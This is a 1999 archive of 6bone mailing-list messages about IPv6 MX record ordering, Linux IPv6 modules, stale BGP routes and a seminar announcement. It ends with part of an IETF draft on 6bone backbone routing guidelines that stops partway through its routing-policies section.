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References: 
 <Pine.BSF.3.96.991201184755.22022B-100000@jazz-1.trumpet.com.au>
Date: Wed, 1 Dec 1999 07:42:51 -0800
To: Peter Tattam <peter@jazz-1.trumpet.com.au>
From: Steve Deering <deering@cisco.com>
Subject: Re: Testing SMTP over IPv6
Cc: george+6bone@m5p.com, 6bone@ISI.EDU
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Peter,

It would be good to document this advice in an Informational RFC,
either as an individual contribution or as an ngtrans submission
(assuming it's correct, of course :-).

Steve

---------
At 7:55 PM +1100 12/1/99, Peter Tattam wrote:
>As I set it up, I came to the realization that MX will need to be set up
>correctly for mail to be reliable to IPv6 machines.
>
>Here is the MX list for ip6.trumpet.net
>
>ip6.trumpet.net.        43200   MX      10 louie.ip6.trumpet.net.
>ip6.trumpet.net.        43200   MX      15 louie.trumpet.com.au.
>ip6.trumpet.net.        43200   MX      20 jazz-1.trumpet.com.au.
>ip6.trumpet.net.        43200   MX      30 yarrina.connect.com.au.
>ip6.trumpet.net.        43200   MX      40 warrane.connect.com.au.
>
>
>If you are mixing IPv4 & IPv6 servers in the MX list,  it is important that
>the MX list be set in the following manner...
>
>IPv6 only servers		MX    a
>....
>IPv6 + IPv4 servers		MX    b
>....
>IPv4 only servers		MX    c
>
>
>Where a < b < c
>
>If there is a mix of IPv4 & IPv4 MX's, there must be a dual IPv6 + IPv4 server
>either at the start of the list or before all the IPv4 only servers.
>Otherwise mail will queue indefinitely at the IPv4 servers if the IPv6 only
>server is down.
>
>In my example, louie.ip6.trumpet.net and louie.trumpet.com.au are the same
>machine.  The rest are IPv4 only servers.


From 6bone-owner  Wed Dec  1 08:36:54 1999
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Subject: Re: Linux operating system kernel versions
To: hermans@touro.edu (Herman Strom)
Date: Wed, 1 Dec 1999 19:30:10 +0300 (MSK)
Cc: 6bone@ISI.EDU, rzm@icm.edu.pl, hansolofalcon@worldnet.att.net
In-Reply-To: <Pine.A41.4.10.9911302214570.9084-100000@academic.touro.edu> from "Herman Strom" at Nov 30, 99 10:27:15 pm
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Hello!

> In actuality, though when I load IPv6 module with 'insmod ipv6'
> command, and run 'lsmod' command, it concerns me when I see (-1) in
> the 'Used' column. 

It means that IPv6 module is _not_ unloadable. You can load it once.


> 	However 'tr0' never gets self-configured.

Autoconfiguration is supported _only_ on ethernet interfaces.
Nobody of folks having access to token ring took care of sending
a patch to calculate eui64 tokens and to map multicast addresses
for token ring.

The problem is that existing specs for IPv6 over tr are _expired_
long time ago, so that implementor have to verify against any existing
implementation.



> Later when I want to
> unload 'ipv6' module, having de-ifconfig all of the IPv6 interfaces,

You choosed a strange method to deconfig IPv6 interfaces.
Use ifconfig instead.


> I find that the module is still busy.

It is correct. IPv6 module cannot be unloaded.


> Yes, my friend submitted it but it didn't get through for some reason.

I did not receive any patches handling token ring for last two years.

Alexey Kuznetsov

From 6bone-owner  Wed Dec  1 10:50:28 1999
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To: 6bone@ISI.EDU
Subject: zombie routes to 3ffe:1ce1::/32 ?
Date: Wed, 01 Dec 1999 13:50:23 -0500
From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
Sender: owner-6bone@zephyr.isi.edu
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Status: RO

I'm attempting to implement some of the 6bone hardening
recommendations at my site (MIT-SIPB, AS3)..

While doing so, I (stupidly) tried an experiment with the use of the
"no-export" community which appears to have backfired and left some of
what Itojun refers to as "zombie routes" floating around.

It appeared from source-routed traceroutes that the no-export-tagged
route propagated further than I expected it to, so I stopped bgp and
restarted it without this; however, I have reason to believe that the
route is still floating around in the 6bone bgp cloud..

My understanding is that dropping the bgp connection should have
caused the bgp peer to withdraw any routes it learned from
me.. unfortuneately, that doesn't seem to have happened.  

I have reason to believe that there are currently some "zombie routes"
to 3ffe:1ce1::/32 floating about as a result of this.

Anyone have any advice as to what I can do from here to get the route
withdrawn for real?  (I'm using zebra bgp 0.80 on NetBSD+KAME).

Any help would be greatly appreciated..

					- Bill

From 6bone-owner  Wed Dec  1 14:00:10 1999
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To: 6bone@ISI.EDU
Subject: zombie routes to 3ffe:1ce1::/32 ?
Date: Wed, 01 Dec 1999 16:59:55 -0500
From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
Sender: owner-6bone@zephyr.isi.edu
Precedence: bulk
Status: RO

[resent, since it didn't seem to get through the first time..]

I'm attempting to implement some of the 6bone hardening
recommendations at my site (MIT-SIPB, AS3)..

While doing so, I (stupidly) tried an experiment with the use of the
"no-export" community which appears to have backfired and left some of
what Itojun refers to as "zombie routes" floating around.

It appeared from source-routed traceroutes that the no-export-tagged
route propagated further than I expected it to, so I stopped bgp and
restarted it without this; however, I have reason to believe that the
route is still floating around in the 6bone bgp cloud..

My understanding is that dropping the bgp connection should have
caused the bgp peer to withdraw any routes it learned from
me.. unfortuneately, that doesn't seem to have happened.  

I have reason to believe that there are currently some "zombie routes"
to 3ffe:1ce1::/32 floating about as a result of this.

Anyone have any advice as to what I can do from here to get the route
withdrawn for real?  (I'm using zebra bgp 0.80 on NetBSD+KAME).

					- Bill

From 6bone-owner  Wed Dec  1 15:20:33 1999
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Date: Wed, 1 Dec 1999 18:23:54 -0500 (EST)
From: Herman Strom <hermans@touro.edu>
To: 6bone <6bone@ISI.EDU>
Subject: IPv6 over Token-Ring in Linux
Message-ID: <Pine.A41.4.10.9912011819420.22692-100000@academic.touro.edu>
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Hi!

Does anyone know anything about configuring IPv6 over Token-Ring in
Linux. Any information would be appreciated.

Thanks.

Bye,

Herm

---------------------------------------
Herman Strom - Academic Computing Dept.
 Touro College <http://www.touro.edu/>

-- Contact me via: --------------------
  Check out my Personal Home Page at:
    <http://hermstrom.tripod.com/>
      email: <hermans@touro.edu>
       Work Phone: 718 871-7292
       Home Phone: 718 972-2173
---------------------------------------


From 6bone-owner  Wed Dec  1 16:54:55 1999
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Date: Thu, 2 Dec 1999 11:54:42 +1100 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Matt Crawford <crawdad@fnal.gov>
cc: george+6bone@m5p.com, 6bone@ISI.EDU
Subject: Re: Testing SMTP over IPv6 
In-Reply-To: <199912011521.JAA26722@gungnir.fnal.gov>
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On Wed, 1 Dec 1999, Matt Crawford wrote:

> > If you are mixing IPv4 & IPv6 servers in the MX list,  it is important that
> > the MX list be set in the following manner...
> > 
> > IPv6 only servers		MX    a
> > IPv6 + IPv4 servers		MX    b
> > IPv4 only servers		MX    c
> > 
> > Where a < b < c
> 
> No, this sort of ordering is only important if not all the servers
> can do "final delivery" (i.e., take the message out of the SMTP
> world).
> 

By definition, MXs that are greater than the the mininmum would not remove mail
messages from the SMTP world.  If they don't have v6 access, the mail will
queue indefinitely, or possibly bounce if it can't reach any MX's that are
lower.  I am uncertain as to whether how an SMTP server would interpret an MX
list that had pointers to AAAA or A6 records in them.  Anyone have any ideas? 
Would they simply remove those names from the list resulting in truncated MX
list?  

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Wed Dec  1 17:51:36 1999
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To: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
Cc: 6bone@ISI.EDU
Subject: zombie routes to 3ffe:1ce1::/32 ?
In-Reply-To: <199912011850.SAA16557@orchard.arlington.ma.us>
References: <199912011850.SAA16557@orchard.arlington.ma.us>
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Reply-To: Daniel Hagerty <hag@linnaean.org>
From: Daniel Hagerty <hag@linnaean.org>
Date: Wed, 1 Dec 1999 20:51:27 -0500
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[ Yes, both posts you made got through. ]

 > It appeared from source-routed traceroutes that the no-export-tagged
 > route propagated further than I expected it to, so I stopped bgp and
 > restarted it without this; however, I have reason to believe that the
 > route is still floating around in the 6bone bgp cloud..
 >
 > My understanding is that dropping the bgp connection should have
 > caused the bgp peer to withdraw any routes it learned from
 > me.. unfortuneately, that doesn't seem to have happened.

    An AS that forwarded that no-export tagged route across an AS
boundary is broken.  Since it didn't drop the annoucement on peering
reset, you probably have borked BGP implentation(s) upstream from you
(as opposed to a broken route-map stripping the no-export community
tag).

 > I have reason to believe that there are currently some "zombie routes"
 > to 3ffe:1ce1::/32 floating about as a result of this.
 >
 > Anyone have any advice as to what I can do from here to get the route
 > withdrawn for real?  (I'm using zebra bgp 0.80 on NetBSD+KAME).

    The short answer is "no" (though you might try tearing down
peering for 2 * holdtime or other silliness).  You have to get the
broken peer to withdraw the bogus annoucement.  I'm only seeing AS
10566 propagating the announcement, according to
http://lookingglass.imag.fr/.

    What's the deal with you announcing 3ffe:1ce1::/32 ?  I didn't dig
deeply, bug 3ffe:1c::/24 is a merit pTLA, and MIT is delegated
3ffe:1ce1::/48 .  Right now, unless you can provide a 100% up routing
guarantee between merit & MIT, you can black hole traffic for prefixes
outside your netblock.

From 6bone-owner  Wed Dec  1 17:54:49 1999
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To: Daniel Hagerty <hag@linnaean.org>
cc: 6bone@ISI.EDU
Subject: Re: zombie routes to 3ffe:1ce1::/32 ? 
In-Reply-To: Message from Daniel Hagerty <hag@linnaean.org> 
   of "Wed, 01 Dec 1999 20:51:27 EST." <199912020151.UAA06070@neuralgia.linnaean.org> 
Date: Wed, 01 Dec 1999 20:54:39 -0500
From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
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>     What's the deal with you announcing 3ffe:1ce1::/32 ?  I didn't dig
> deeply, bug 3ffe:1c::/24 is a merit pTLA, and MIT is delegated
> 3ffe:1ce1::/48 .  Right now, unless you can provide a 100% up routing
> guarantee between merit & MIT, you can black hole traffic for prefixes
> outside your netblock.

Merit recently upgraded MIT from a /48 to a /32; the 6bone registry
just hasn't been updated yet.

					- Bill

From 6bone-owner  Thu Dec  2 06:53:50 1999
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To: Peter Tattam <peter@jazz-1.trumpet.com.au>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: Testing SMTP over IPv6 
In-reply-to: Your message of Thu, 02 Dec 1999 11:54:42 +1100.
             <Pine.BSF.3.96.991202115058.867B-100000@jazz-1.trumpet.com.au> 
Date: Thu, 02 Dec 1999 08:53:41 -0600
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> > > IPv6 only servers		MX    a
> > > IPv6 + IPv4 servers	MX    b
> > > IPv4 only servers		MX    c
> > > 
> > > Where a < b < c
> > 
> > No, this sort of ordering is only important if not all the servers
> > can do "final delivery" (i.e., take the message out of the SMTP
> > world).
> 
> By definition, MXs that are greater than the the mininmum would not
> remove mail messages from the SMTP world.

No, not by definition.  Those "non-best" MX's *need not* remove
messages from SMTP, because they have somewhere "better" to send them
by SMTP.  But they MAY, and often DO, perform what SMTP would
call "final delivery".

>  If they don't have v6 access, the mail will queue indefinitely, or
> possibly bounce if it can't reach any MX's that are lower.

*Assuming* the non-best mail exchangers can't do final delivery, this
is correct.

> I am uncertain as to whether how an SMTP server would interpret an
> MX list that had pointers to AAAA or A6 records in them.  Anyone
> have any ideas?  Would they simply remove those names from the list
> resulting in truncated MX list?

Since the MX record points to a FQDN, not an address.  A pure IPv4
node would fail to get any addresses for the IPv6-only "best" MX.
Here comes the big gotcha: RFC 974 (full standard STD 14) requires
the seding host to try (one of) the lowest-preference MX target(s)
first, but DOES NOT REQUIRE that any of the others be tried at all!
Of course it's recommended that all be tried, with the words
"Implementors are encouraged to".

So in your example, mail could hit one of the v4-only mailers and
that mailer could never attempt to connect to a dual-stack mailer and
yet still be strictly compliant.  True, such a mailer would still
fail in some v4-only scenarios, such as when the destination host is
"mx 0" for itself, but is permanently smtp-unreachable behind a
firewall, with an "mx 10" relay provided.

It's an ugly internet.

					Matt

From 6bone-owner  Thu Dec  2 20:00:22 1999
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Date: Fri, 3 Dec 1999 14:59:56 +1100 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Matt Crawford <crawdad@fnal.gov>
cc: 6bone@ISI.EDU
Subject: Re: Testing SMTP over IPv6 
In-Reply-To: <199912021453.IAA08390@gungnir.fnal.gov>
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I stand corrected.  Thanks for tha clarification.  I would hazard a guess
though that for at least 75% of cases the guidelines I suggested might apply.
Anyone like to comment as to how sendmail will typically react in the suggested
scenario?

Peter

On Thu, 2 Dec 1999, Matt Crawford wrote:

> > > > IPv6 only servers		MX    a
> > > > IPv6 + IPv4 servers	MX    b
> > > > IPv4 only servers		MX    c
> > > > 
> > > > Where a < b < c
> > > 
> > > No, this sort of ordering is only important if not all the servers
> > > can do "final delivery" (i.e., take the message out of the SMTP
> > > world).
> > 
> > By definition, MXs that are greater than the the mininmum would not
> > remove mail messages from the SMTP world.
> 
> No, not by definition.  Those "non-best" MX's *need not* remove
> messages from SMTP, because they have somewhere "better" to send them
> by SMTP.  But they MAY, and often DO, perform what SMTP would
> call "final delivery".
> 
> >  If they don't have v6 access, the mail will queue indefinitely, or
> > possibly bounce if it can't reach any MX's that are lower.
> 
> *Assuming* the non-best mail exchangers can't do final delivery, this
> is correct.
> 
> > I am uncertain as to whether how an SMTP server would interpret an
> > MX list that had pointers to AAAA or A6 records in them.  Anyone
> > have any ideas?  Would they simply remove those names from the list
> > resulting in truncated MX list?
> 
> Since the MX record points to a FQDN, not an address.  A pure IPv4
> node would fail to get any addresses for the IPv6-only "best" MX.
> Here comes the big gotcha: RFC 974 (full standard STD 14) requires
> the seding host to try (one of) the lowest-preference MX target(s)
> first, but DOES NOT REQUIRE that any of the others be tried at all!
> Of course it's recommended that all be tried, with the words
> "Implementors are encouraged to".
> 
> So in your example, mail could hit one of the v4-only mailers and
> that mailer could never attempt to connect to a dual-stack mailer and
> yet still be strictly compliant.  True, such a mailer would still
> fail in some v4-only scenarios, such as when the destination host is
> "mx 0" for itself, but is permanently smtp-unreachable behind a
> firewall, with an "mx 10" relay provided.
> 
> It's an ugly internet.
> 
> 					Matt
> 

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Fri Dec  3 06:29:15 1999
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Reply-To: "Latif LADID" <latif.ladid@tbit.dk>
From: "Latif LADID" <Latif.LADID@village.uunet.lu>
To: "Cesar Olvera Morales" <cesar@redes.unam.mx>, <fink@es.net>,
        <6bone@ISI.EDU>, <ipng@sunroof.eng.sun.com>, <ipv6@redes.unam.mx>
Cc: <cesar@redes.unam.mx>
Subject: Re: National IPv6 Seminar in Mexico
Date: Fri, 3 Dec 1999 15:22:53 +0100
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Great Initiative Cesar!

Next time invite us on time to come and support you!

Have a good conference and let us know of outcome!

Regards,

Latif

******************************************
Latif LADID, President, IPv6 FORUM
Vice President, Ericsson Telebit A/S
31, Domaine de Brameschhof
L-8290 KEHLEN - LUXEMBOURG
Tel: + 352 - 30 71 35            Fax: + 352 - 30 53 64
@-mail: latif.ladid@tbit.dk     http://www.tbit.dk
******************** IPv6 Forum*************
The New Internet: http://www.ipv6forum.com
 Internet For EveryOne ------ Security & Quality --------
******************************************
UPCOMING EVENTS:
-- German IPv6 Conference in Berlin, Germany
Dec 8-9, run jointly by Deutsche Telekom and DFN
-- GLOBAL IPvIPv6 SUMMIT in US, March 13-15, 2000
run jointly by Stardust.com and IPv6 Forum
--GLOBAL IPv6 SUMMIT in UK, May 10, 2000
hosted by BT and WTC in Birmingham
-- ComNet 2000 - Washington D.C.- Jan 25-27
Joint appearance: ISOC / IPv6 Forum
********************************************
-----Original Message-----
From: Cesar Olvera Morales <cesar@redes.unam.mx>
To: fink@es.net <fink@es.net>; latif.ladid@tbit.dk <latif.ladid@tbit.dk>;
6bone@ISI.EDU <6bone@ISI.EDU>; ipng@sunroof.eng.sun.com
<ipng@sunroof.eng.sun.com>; ipv6@redes.unam.mx <ipv6@redes.unam.mx>
Cc: cesar@redes.unam.mx <cesar@redes.unam.mx>
Date: Thursday, December 02, 1999 11:46
Subject: National IPv6 Seminar in Mexico


:
:The National Autonomous University of Mexico, UNAM, (6Bone pTLA
:3FFE:8070::/28) are organizing the First National IPv6 Seminar in Mexico,
:December 10, 1999, Mexico City.
:
:The main goal of this Seminar is to assist in the evolution and deployment
:of IPv6 in Mexico.
:
:World IPv6 Community are Welcome.
:
:Further information:
:
:Cesar Olvera
:Interoperability Lab
:Networks Subdirection
:Telecommunications Direction
:DGSCA-UNAM
:
:(+52) 56 22 8526
:
:cesar@redes.unam.mx
:http://www.ipv6.unam.mx/seminario/
:
:
:


From 6bone-owner  Fri Dec  3 07:04:01 1999
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To: Peter Tattam <peter@jazz-1.trumpet.com.au>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: Testing SMTP over IPv6 
In-reply-to: Your message of Fri, 03 Dec 1999 14:59:56 +1100.
             <Pine.BSF.3.96.991203145757.23825B-100000@jazz-1.trumpet.com.au> 
Date: Fri, 03 Dec 1999 09:03:54 -0600
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> ...  I would hazard a guess
> though that for at least 75% of cases the guidelines I suggested might apply.

Yes, or more.

> Anyone like to comment as to how sendmail will typically react in
> the suggested scenario?

Except in pathological cases (DNS answer > 8192 bytes, pinhead admin
configured "ignore truncation", or more than 100 MX records for
target) sendmail will try all the mail exchangers it should.  Your
guidelines would then "win".  Hm, except, does it need to be pointed
out that

> > > > > IPv6 only servers		MX    a
> > > > > IPv6 + IPv4 servers		MX    b
> > > > > IPv4 only servers		MX    c
> > > > > 
> > > > > Where a < b < c

should be c < b < a if the "final delivery" is made only on v4-only
hosts?
				Matt

From 6bone-owner  Fri Dec  3 19:35:00 1999
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Date: Sat, 4 Dec 1999 14:34:50 +1100 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Matt Crawford <crawdad@fnal.gov>
cc: 6bone@ISI.EDU
Subject: Re: Testing SMTP over IPv6 
In-Reply-To: <199912031503.JAA19209@gungnir.fnal.gov>
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On Fri, 3 Dec 1999, Matt Crawford wrote:

> > ...  I would hazard a guess
> > though that for at least 75% of cases the guidelines I suggested might apply.
> 
> Yes, or more.
> 
> > Anyone like to comment as to how sendmail will typically react in
> > the suggested scenario?
> 
> Except in pathological cases (DNS answer > 8192 bytes, pinhead admin
> configured "ignore truncation", or more than 100 MX records for
> target) sendmail will try all the mail exchangers it should.  Your
> guidelines would then "win".  Hm, except, does it need to be pointed
> out that
> 
> > > > > > IPv6 only servers		MX    a
> > > > > > IPv6 + IPv4 servers		MX    b
> > > > > > IPv4 only servers		MX    c
> > > > > > 
> > > > > > Where a < b < c
> 
> should be c < b < a if the "final delivery" is made only on v4-only
> hosts?
> 				Matt
> 

Yes... if that is the intention.

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Mon Dec  6 15:09:43 1999
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Date: Mon, 06 Dec 1999 15:09:28 -0800
To: NGtrans List <ngtrans@sunroof.eng.sun.com>, 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone Routing Guidelines I-D (HARDEN-03) cleanup for forwarding
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ngtrans/6bone folk,

The following 6bone Routing Guidelines I-D (HARDEN-03) replace the current 
draft (HARDEN-02) that recently passed WG last call. It is essentially only 
a cleanup version and will be forwarded to the AD's for consideration as an 
Informational RFC to replace the current 6Bone Backbone Routing Guildelines 
(RFC2456).

Thanks to Rob Rockell for all his work on this.


Thanks,

Bob Fink
co-author and ngtrans co-chair

========================================================================
INTERNET-DRAFT                                       R. Rockell (Sprint)
Obsoletes: 2546                                          R. Fink (ESnet)
Category: Informational                                  6 December 1999


         	  6Bone Backbone Routing Guildelines
		  <draft-ietf-ngtrans-harden-03.txt>

Status of this Memo

This document is an Internet-Draft and is in full conformance with
all provisions of Section 10 of RFC2026.

Internet-Drafts are working documents of the Internet Engineering
Task Force (IETF), its areas, and its working groups.  Note that
other groups may also distribute working documents as Internet-
Drafts.

Internet-Drafts are draft documents valid for a maximum of six months
and may be updated, replaced, or obsoleted by other documents at any
time.  It is inappropriate to use Internet-Drafts as reference
material or to cite them other than as "work in progress."

The list of current Internet-Drafts can be accessed at
    <http://www.ietf.org/ietf/1id-abstracts.txt>

The list of Internet-Draft Shadow Directories can be accessed at
   <http://www.ietf.org/shadow.html>

This draft expires on 6 June 2000.

Abstract

The 6Bone is an Ipv6 testbed to assist in the evolution and deployment
of IPv6. Because of this, it is important that the core backbone of the
IPv6 network maintain stability, and that all operators have a common
set of rules and guildelines by which to deploy IPv6 routing equipment.

This document provides a set of guildelines for all IPv6 routing
equipment operators to use as a reference for efficient and stable
deployment of IPv6 routing systems. As the complexity of the 6Bone
grows,the adherence to a common set of rules becomes increasingly
important in order for an efficient, scalable backbone to exist.

Table of Contents

1. Introduction.......................................................
2. Scope of this document.............................................
3. Common Rules.......................................................
    3.1 Link-local prefixes
    3.2 Site-local prefixes
    3.3 Loopback and unspecified prefixes
    3.4 Multicast prefixes
    3.5 IPv4 compatible prefixes
    3.6 IPv4-mapped prefixes
    3.7 Default routes
    3.8 Yet undefined unicast prefixes
    3.9 Inter-site links
    3.10 6to4 Prefixes
    3.11 Aggregation & advertisement issues
4. Routing Policies...................................................
5. The 6Bone Registry.................................................
6. Guidelines for new sites joining the 6Bone.........................
7. Guidelines for 6Bone pTLA sites....................................
8. 6Bone Operations group.............................................
9. Common rules enforcement...........................................
10. Security Considerations...........................................
11. References........................................................
12. Authors' Addresses................................................

1. Introduction

The 6Bone is an IPv6 testbed to assist in the evolution and deployment
of IPv6. Because of this, it is important that the core backbone of the
IPv6 network maintain stability, and that all operators have a common
set of rules and guildelines by which to deploy IPv6 routing equipment.

This document provides a set of guildelines for all IPv6 routing
equipment operators to use as a reference for efficient and stable
deployment of IPv6 routing systems. As the complexity of the 6Bone
grows,the adherence to a common set of rules becomes increasingly
important in order for an efficient, scalable backbone to exist.

This document uses BGP-4 with Multiprotocol Extensions for BGP-4 as
defined [RFC 2283], commonly referred to as BGP4+, as the currently
accepted EGP.

The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
"SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this
document are to be interpreted as described in [RFC 2119].

2. Scope of this document

This document is a best-practices Informational document aimed at all
entities which connect to, or interact with, the 6Bone.

3. Common Rules

This section details common rules governing the routing of the 6Bone.
They are derived from the issues encountered on the 6Bone, with respect
to the routes advertised, handling of special addresses, and
aggregation:

   1) link local prefixes

   2) site local prefixes

   3) loopback and unspecified prefixes

   4) multicast prefixes

   5) IPv4-compatible prefixes

   6) IPv4-mapped prefixes

   7) default routes

   8) yet undefined unicast prefixes (from a different /3 prefix)

   9) inter-site links issues

   10) 6to4 prefixes

   11) aggregation & advertisement issues

3.1 Link-local prefixes

This link-local prefix (FE80::/10) MUST NOT be advertised through either
an IGP or an EGP.  Under no circumstance should this prefix be seen in
the 6Bone backbone routing table.

By definition, the link-local prefix has a scope limited to a specific
link. Since the prefix is the same on all IPv6 links, advertising it in
any routing protocol does not make sense and, worse, may introduce nasty
error conditions.

Well known cases where link-local prefixes could be advertised by
mistake include, but are not limited to:

- a router advertising all directly connected network prefixes
including the link-local one

- subnetting of the link-local prefix

In such cases, vendors should be urged to correct their code. While
vendors should be encouraged to fix the problem, the ultimate
responsibility lies on the operator of that IPv6 site to correct the
problem through whatever means necessary.

Should a pTLA discover link-local prefixes coming from another pTLA,
it is the responsibility of the pTLA leaking the routes to filter these,
and correct the problem in a timely fashion. Should a pTLA discover that
a downstream of that pTLA is leaking link-local prefixes, it is the
pTLA's responsibility to ensure that these prefixes are not leaked to
other pTLA's, or to other downstreams of that pTLA.

Failure to filter such routes in a timely fashion may result in the
manual shutting down of BGP4+ sessions to that pTLA, from other pTLA's.

(Also, it is each pTLA, pNLA, and end-site's responsibility to not
only filter their own BGP4+ sessions appropriately to peers, but to
filter routes coming from peers as well, and to only allow those
routes that fit the aggregation model, and do not cause operational
problems).

3.2 Site-local prefixes

Site local prefixes (in the FEC0::/10 range) MAY be advertised by IGP's
or EGP's within a site. The precise definition of a site is ongoing work
of the IPng working group, but should generally include a group of nodes
that are operating under one administrator or group of administrators,
or a group of nodes which are used for a common purpose.

Site-local prefixes MUST NOT be advertised across transit pNLAs, pTLAs,
or leaf-sites.

Again, should site-local prefixes be leaked outside of a given site,
it is the responsibility of the site to fix the problem in a timely
manner, either through filters, or via other means which remove the
operational impact that those prefixes had on the peering sites
involved. However, every site SHOULD filter not only outbound on their
EGP, but also inbound, in order to ensure proper routing announcements
are not only sent, but also received.

3.3 Loopback and unspecified prefixes

The loopback prefix (::1/128) and the unspecified prefix (::0/128)
MUST NOT be advertised by any routing protocol.

The same responsibility lies with the party guilty of advertising the
loopback or unspecified prefix as in Section 3.1 and 3.2.

3.4 Multicast prefixes

Multicast prefixes MUST NOT be advertised by any unicast routing
protocol. Multicast routing protocols are designed to respect the
semantics of multicast and MUST therefore be used to route packets with
multicast destination addresses (in the range of FF00::/8).

Multicast address scopes MUST be respected on the 6Bone.  Only global
scope multicast addresses MAY be routed across transit pNLAs and pTLAs.
There is no requirement on a pTLA to route multicast packets at the
time of the writing of this draft.

Organization-local multicasts (in the FF08::/16 or FF18::/16 ranges)
MAY be routed across a pNLA to its leaf sites.

Site-local multicasts MUST NOT be routed toward transit pNLAs or pTLAs.

Link-local multicasts and node-local multicasts MUST NOT be routed at
all.

3.5 IPv4 compatible prefixes

Sites may choose to use IPv4 compatible addresses (::a.b.c.d where
a.b.c.d represents the octets of an IPv4 address) internally. As there
is no real rationale today for doing so, these address SHOULD NOT be
used or routed in the 6Bone.

The ::/96 IPv4-compatible prefixes MAY be advertised by IGPs.

IPv4 compatible prefixes MUST NOT be advertised by EGPs to transit
pNLAs or pTLAs.

Should ::/96 IPv4-compatible prefixes be leaked into an EGP, it is the
responsibility of the party who is advertising the route to fix the
problem, either through proper filters, or through other means, while
it remains in the best interest of all particiapants of the 6Bone to
filter both outbound and inbound at their IGP borders.

3.6 IPv4-mapped prefixes

IPv4-mapped prefixes (::FFFF:a.b.c.d where a.b.c.d represents the
octets of an IPv4 address) MAY be advertised by IGPs within a site. It
may be useful for some IPv6 only nodes within a site to have such a
route pointing to a translation device, to aid in deployment of IPv6.

IPv4-mapped prefixes MUST NOT be advertised by EGPs.

3.7 Default routes

6Bone core pTLA routers MUST be default-free.

pTLAs MAY advertise a default route to any downstream peer (non-pTLA
site). Transit pNLAs MAY advertise a default route to any of their
downstreams (other transit pNLA or leaf site).

Should a default route be redistributed into an EGP and found on any
pTLA EGP sessions, it is the responsibility of the pTLA to fix this
problem immediately upon realization of the route's existence, and the
responsibility of the guilty pTLA to push the entity from which the
default route was originated, should the default route have originated
from downstream of a pTLA.

3.8 Yet undefined unicast prefixes

Yet undefined unicast prefixes from a format prefix other than 2000::/3
MUST NOT be advertised by any routing protocol in the 6Bone. In
particular, RFC 2471 test addresses MUST NOT be advertised on the 6Bone.

Routing of global unicast prefixes outside the 6Bone range (3ffe::/16),
and routing of global unicast prefixes yet undelegated in the range
(3ffe::/16) are discussed in section 4, Routing policies, below.

3.9 Inter-site links

Global IPv6 addresses must be used for the end points of inter-site
links. In particular, IPv4 compatible addresses MUST NOT be used for
tunnels.

Sites MAY use Other addressing schemes for Inter-site links, but these
addresses MUST NOT be advertised into the IPv6 global routing table.

Prefixes for inter-site links MUST NOT be injected in the global routing
tables.

3.10 6to4 Prefixes

The 6to4 prefix, or some portion thereof, MAY be announced
by any pTLA which has a current implementation of 6to4 in their IPv6
network.  However, as 6to4 implementors gain more operational
experience, it MAY be necessary to change this in some way.
At the time of the writing of this docuement, any pTLA MAY announce
the 6to4 prefix into global EBGP. However, in order to announce this
block, the pTLA MUST have a 6to4 router active, sourcing this prefix
announcement.

This section subject to change, and MAY vary, depending on 6to4 progress
within the NGTRANS working group.

3.11 Aggregation & advertisement issues

Route aggregation MUST be performed by any border router talking EGP
with any other IPv6 sites. More-specifics MUST NOT be leaked into or
across the IPv6 6Bone backbone.

4. Routing Policies

Leaf sites or pNLAs MUST only advertise to an upstream provider the
prefixes assigned by that provider. Advertising a prefix assigned by
another provider to a provider is not acceptable, and breaks the
aggregation model. A site MUST NOT advertise a prefix from another
provider to a provider as a way around the multi-homing problem.
However, in the interest of testing new solutions, one may break this
policy, so long as ALL affected parties  are aware of this test, and all
agree to support this testing.  These policy breaks MUST NOT affect the
6bone routing table globally.

To clarify, if one has two upstream pNLA or pTLA providers, (A and B for
this example), one MUST only announce the prefix delegated to one by
provider A to provider A, and one MUST only announce the prefeix
delegated by one from provider B upstream to provider B. There exists
no circumstance where this should be violated, as it breaks the
aggregation model, and could globally affect routing decisions if
downstreams are able to leak other providers' more specific delegations
up to a pTLA. As the IPNG working group works through the multi-homing
problem, there may be a need to alter this rule slightly, to test new
strategies for deployment. However, in the case of current
specifications at the time of this writing, there is no reason to
advertise more specifics, and pTLA's MUST adhere to the current
aggregation model.

Site border routers for pNLA or leaf sites MUST NOT advertise prefixes
more specific (longer) than the prefix that was allocated by their
upstream provider.

All pTLAs MUST NOT advertise prefixes longer than a given pTLA
delegation (currently /24 or /28) to other pTLAs unless special peering
arrangements are implemented. When such special peering aggreements are
in place between any two or more pTLAs, care MUST be taken not to leak
the more specifics to other pTLAs not participating in the peering
aggreement. pTLAs which have such agreements in place MUST NOT advertise
other pTLA more specifics to downstream pNLAs or leaf sites, as this
will break the best-path routing decision.

The peering agreements across the 6Bone may be by nature non-commercial,
and therefore MAY allow transit traffic, if peering agreements of this
nature are made. However, no pTLA is REQUIRED to give or receive transit
service from another pTLA.

Eventually, the Internet registries will assign prefixes under other
than the 6Bone TLA (3FFE::/16). As of the time this document was
written in 1999, the Internet registries were starting to assig /35
sub-TLA (sTLA) blocks from the 2001::/16 TLA. Others will certainly be
used in the future.

The organizations receiving prefixes under these newer TLAs would be
expected to want to establish peering and connectivity relationships
